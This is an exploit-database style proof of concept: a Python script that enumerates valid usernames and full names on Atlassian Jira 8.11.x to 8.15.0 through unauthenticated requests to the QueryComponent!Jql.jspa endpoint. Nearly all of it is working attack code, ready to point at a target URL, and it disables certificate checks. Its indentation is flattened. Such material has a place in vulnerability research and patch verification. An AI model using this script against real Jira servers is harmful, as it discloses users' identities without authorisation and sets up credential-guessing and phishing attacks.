Atlassian Jira 8.15.0 Username Enumeration

`# Exploit Title: Atlassian Jira 8.15.0 - Information Disclosure (Username Enumeration)  
# Date: 31/05/2021  
# Exploit Author: Mohammed Aloraimi  
# Vendor Homepage: https://www.atlassian.com/  
# Software Link: https://www.atlassian.com/software/jira  
# Vulnerable versions: version 8.11.x to 8.15.0  
# Tested on: Kali Linux  
# Proof Of Concept:  
  
'''  
A username information disclosure vulnerability exists in Atlassian JIRA from versions 8.11.x to 8.15.x. Unauthenticated users can ENUMRATE valid users via /secure/QueryComponent!Jql.jspa endpoint.  
  
Tested versions:  
  
Atlassian JIRA 8.11.1  
Atlassian JIRA 8.13  
Atlassian JIRA 8.15  
'''  
  
#!/usr/bin/env python  
  
__author__ = "Mohammed Aloraimi (@ixSly)"  
  
  
  
import requests  
import sys  
import re  
import urllib3  
urllib3.disable_warnings()  
  
  
def help():  
print('python script.py <target> <username>')  
print('e.g. python script.py https://jiratarget.com admin')  
sys.exit()  
  
if len(sys.argv) < 3:  
help()  
  
  
  
def pwn(url,username):  
  
try:  
headers = {"content-type": "application/x-www-form-urlencoded; charset=UTF-8"}  
data="jql=creator+in+({})&decorator=none".format(username)  
req = requests.post(url+"/secure/QueryComponent!Jql.jspa",headers=headers,verify=False,data=data)  
if "issue.field.project" in req.text and req.status_code == 200:  
print("[+] {} is a Valid User".format(username))  
userFullName=re.search('value=\"user:{}\" title=\"(.+?)\"'.format(username),str(req.json()["values"]["creator"]).strip())  
if userFullName:  
print("[+] User FullName: " + userFullName.group(1))  
elif '["jqlTooComplex"]' in req.text and req.status_code == 401:  
print("[-] {} is not a Valid User".format(username))  
else:  
print("[-] Error..")  
except Exception as e:  
print(str(e))  
pass  
  
server = sys.argv[1]  
username = sys.argv[2]  
  
  
pwn(server,username)  
  
`